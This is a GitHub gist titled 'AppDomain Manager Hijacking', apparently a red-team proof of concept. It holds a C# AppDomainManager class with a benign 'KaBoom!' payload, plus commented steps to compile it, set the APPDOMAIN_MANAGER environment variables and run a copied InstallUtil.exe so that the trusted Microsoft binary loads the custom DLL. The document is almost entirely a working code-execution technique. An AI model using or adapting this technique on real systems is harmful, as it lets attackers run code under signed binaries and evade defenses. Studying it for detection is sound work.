Created
May 30, 2019 17:21
-
-
Save djhohnstein/51f141bf4f57b0f035d8816f32f3a343 to your computer and use it in GitHub Desktop.
AppDomain Manager Hijacking
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.IO; | |
using System.Reflection; | |
using System.Runtime.Hosting; | |
public sealed class MyAppDomainManager : AppDomainManager | |
{ | |
public override void InitializeNewDomain(AppDomainSetup appDomainInfo) | |
{ | |
Console.WriteLine("KaBoom!"); | |
return; | |
} | |
} | |
/* | |
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library MyAppDomainManager.cs | |
set APPDOMAIN_MANAGER_ASM=MyAppDomainManager, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null | |
set APPDOMAIN_MANAGER_TYPE=MyAppDomainManager | |
copy C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | |
InstallUtil.exe | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment